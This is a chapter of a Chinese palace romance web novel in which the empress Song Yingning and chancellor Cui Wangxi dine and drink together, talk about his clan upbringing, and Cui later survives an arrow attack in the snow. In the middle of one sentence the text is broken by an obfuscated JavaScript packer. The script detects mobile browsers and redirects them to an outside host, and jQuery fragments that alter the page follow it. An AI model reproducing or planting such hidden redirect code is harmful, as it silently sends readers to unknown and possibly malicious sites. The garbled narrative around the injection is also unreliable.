44. 对饮

    宋撄宁笔挥得飞快,时不时有些蹙眉,年底了,华而不实的请安折子越来越多了,见宫人返回,随手一指:“先放那。”


    “圣人......”她提醒一句:“崔大人也写了那个——”


    宫人琢磨着遣词,“写了回信。”


    “哦?”宋撄宁加速将手中折子读完批阅好,拿起崔望熙那本打开。


    小小的纸条被她捏在指尖。


    【那我傍晚来陪撄宁用膳可好?】


    她轻轻笑了一下,对一边的宫人吩咐:“晚膳加一道清笋玉兰,最近蟹肥,把金银夹花平截也上来尝尝,再温一壶金陵春来,这酒性温,恰好补一补蟹的寒气。”


    “尚食局最近研制了道逍遥炙,圣人要不要试试味道?”


    “这名字倒是有趣,那就试试吧。”宋撄宁没再抬头,专心于手头的事,一直到了天色渐暗,夜风瑟瑟之时。


    崔望熙踏着凉秋暮云来到时,宫人们正要把晚膳端上桌,宋撄宁坐在帘下净手。


    “朕还想着,若崔相迟到,朕可不会饿着肚子等你。”她施施然起身落座,“快来。”


    即使宋撄宁非铺张奢侈之人,但帝王一餐最基本的规格也是十分精致,随之呈上的一壶美酒散发着浓郁的香气。


    “圣人竟还备下了酒?”崔望熙话间含着笑意,观其色泽轻嗅一下,“是江南进献的金陵春吧?江南酒清薄且柔和,倒是适合圣人。”


    宫人们识趣地退开,留二人在殿中对饮。


    华灯高悬,光影绰绰,四方皆寂,澄静的酒液里映着崔望熙如玉一般剔透纯粹的面容,眸中是掩不住的情意。


    他举杯相邀,杯盏触碰,“叮”地一声,月色卷帘入室,穿过银屏珠帘,悄然飘洒在桌前,绘出深浅不一、起伏错落的影子。


    金陵春入肠,留一缕百转千回的余香在舌尖。


    宋撄宁挑了口面前的菜,随意道:“该赏升州府,今年的金陵春比往年多了丝甜味,恰到好处。”


    “撄宁好甜酒吗?”


    “嗯,那些大宴上的烈酒虽浓郁,喝上两口便呛得要吃些菜搭着,但那些菜......不提也罢。”


    古来宴席之上的菜肴虽是做得极其精美,但因为要把握着时间,不得不一直放在火上温着,早已失其本味。


    何况帝王高高在上,一举一动涉及着尊荣颜面,仅能浅尝几口,席中还时不时有人前来敬酒。一场大宴下来,实在疲惫。


    “怪不得我看撄宁在麟德殿时,总有些强颜欢笑,不久后便是元旦大朝宴,又要难熬了。”


    宋撄宁无奈一笑:“那崔相记得第一个来敬酒祝岁,不然到了后面,朕可是要敷衍你的。”


    崔望熙给她夹了枚炙虾,温声应下:“那我定要和那些同僚们抢一抢时机了。”


    他忽然见到了什么,默了默,随即便是一阵惊喜:“撄宁......是特意加的吗?”


    盘中之物如雪雕玉砌的洁白花朵,尚食局别出心裁,还在四周摆了一圈碧叶。


    宋撄宁佯装不解:“崔相在说什么,朕特意加的?”


    “撄宁,我很开心......你竟愿意去了解我的喜好。”他夹了片玉笋细细咀嚼,鲜味一点点蔓延开,崔望熙又给二人添了酒,绵绵酒香里,似在回忆往昔。


    “撄宁,我有没有和你说过,我小时候的事。”


    他浅叹一声:“我......小时候,是被关在院子里度过的。”


    “母亲早逝,父亲严厉,他忙于跟其他几位族中的叔叔,争夺崔氏的权力,性子强势倔强,在朝中走得不顺。”


    “他也不喜欢我这个孩子......在这一辈族中,我行四,他因此而怨憎我的母亲,诞育我太迟,没让他在下一代中占个‘长’的名头。”


    宋撄宁听着连连皱眉:“崔氏对长幼之序看的这样严重?”


    崔望熙兀自倒酒,“是的,崔家无论男女,皆不允有旁人插足与夫妻间,所以不会有庶出子女的存在,只能在长幼上较劲了......听起来多么情深,说到底,还是为了‘脸面’二字。”


    “家里规矩极多,走路、言谈、饮食、念书......没有一处不是规矩,前十几年,连些许鲜妍的色彩都没见过,也只有崔岐崔颢两位伴读一直陪着我。”


    “怪不得朕那日去崔府,看到你家中楼屋,庄重素雅,花树也多是些为文人赞颂的高洁之流......”她顿了顿,“只是,朕记得你似乎也种了紫薇?”


    崔望熙闻言勾起嘴角,“那是近些年的事了,我在朝中爬得高,在崔家也掌了权,把父亲和一众长辈送回清河养老了,还打压了青州一脉的崔氏。”


    “崔府沉寂百年,终于有了些改变。”


    宋撄宁和他碰杯,“果真是胆子大,直接在朕面前说打压同僚不孝不悌了?”


    “难道撄宁愿意见到第二个如日中天的谢家吗?”他连饮几杯,眼尾晕了淡淡的粉意,平添几分惑人的昳丽,“七姓十家里,除了被诛的王氏外,就属崔家最低调了。”


    “所以你这中书令朕用得很安心,谢家的几位目前都是盛年,很难激流勇退,再者朕也的确倚重谢翼。”


    崔望熙自然能理解她对谢家的复杂情感,看着地毯上的泠泠月华,语气却是轻松:“上一任家主被我送去颐养天年后,崔家的小辈们就自由多了。”


    “不过有的自由过了头......”他哼了一声,“都自由到圣人面前去了——红袖添香,好不风雅。”


    “你是说那位崔......”宋撄宁没能想起来他族弟的名字,只好道:“那位礼部书令史?”


    “崔相既然羡慕他,今晚便来书房给朕研墨吧。”


    “求之不得。”


    “这又是个好差事了?”宋撄宁放下玉著,转过头去看窗外的景致。


    冷月如霜,大明宫的琉璃瓦闪着暗光,屋檐上似有水光流泻,莫名有几分凄凉。


    “怪不得那些文人常易即景伤情,朕见秋月,也觉心哀。”


    “圣人富有天下,岂有伤情之理?”


    宋撄宁头脑有些昏,她慢慢走到屏风前,指尖抚摸过被细细描绘的山川河流,“天下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077597|161269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之大,又岂止一个大邺呢?河西之西有突厥,突厥之外,还有许多朕叫不上名字的土地。”


    崔望熙站在她身后,轻轻覆上她的手,将虚空中的万物一点点聚拢于手心。


    “天下之大,也不过掌中江山,撄宁,你还年轻,往后有无尽的岁月。”


    感受到他的期许,宋撄宁没说话,手腕一翻,与他十指相扣。


    ......


    长昭元年的第一场雪,在临近元旦的前三天,骤然降临。


    彼时宋撄宁正在半梦半醒间,忽有簌簌的细碎声响遥遥传来,她撩开床幔,透过重重纱帘,觉得外面似乎比以往要亮些。


    睡意渐渐散去,她掀开羽被下床,取了件厚重的狐裘披上,透过窗前的卷帘,看到殿外一片白茫茫。


    宫阙深深,此刻蒙上莹莹之光。


    宋撄宁静静赏着雪,看它越来越大,纷纷扬扬。


    这是她正式成为这个王朝的主人以来,所见的第一场雪。


    她默默回想一番,与在东宫承恩殿看雪时,心境已全然不同了。


    从前欣喜不已,现在却不免要忧心百姓的取暖衣服可充足,食物可够过冬?


    好在户部和司农寺都早早储备了物品,若是遇上了什么难得一见的雪灾,也可有个应对。


    而崔府里,亦有人听雪起身,推门而出。


    院子里的白梅开了,冷香拂面而来,他独自撑着伞,怀里抱了个小瓷罐,崔颢想要跟着,被他拒绝了。


    记得那时宋撄宁夸赞他泡的白梅花茶滋味很好,今年初雪,他便早早来收梅花。


    此茶不仅工序繁琐,所选的梅花也是最为完整纯净的,不容有一点瑕疵。


    他抖了抖枝头的积雪,选了几枚摘下,对着月色打量一番,小心收好,低眸间忽然听到一丝有别于雪落的声响。


    崔望熙不动声色地将手中瓷罐握紧,佯装无事。


    黑暗之中,弓弦缓缓绷紧,利箭寒光一闪,从后方的枯枝中射出!


    崔望熙立刻闪身,瓷罐脱手,直直与箭锋相撞,在半空中四分五裂,白梅散了一地,巨大的响动吸引了在远处护卫的崔颢的注意。


    “主上!”他高呼一声,“您怎么样了?”


    崔望熙冷静道:“我无妨。”


    那人见一击不成,知晓良机已错失,当即跳上墙壁,消失在视野中。


    崔府的隐卫正要追去,被崔望熙制止。


    “不必了。”他的声音冷冽无比,“此人对崔府极其熟悉......今夜有谁不在?”


    崔颢回答道:“除了崔岐前几日腿受了伤,回家休养了,其余人都在。”


    崔望熙凝着地上的梅花,摇摇头:“不会是崔岐。”


    刚刚那人身手敏捷,哪里是腿有伤的模样?


    何况崔岐陪伴他十几载,是属下,也更是朋友。


    “再去筛查一遍,崔岐那里,也派人去一趟,确认一下。”


    他回屋找来了新的瓷罐,穿行在花枝里,肩头落了一层薄薄的雪,破碎的瓷片藏在银白之中,泛着冷光。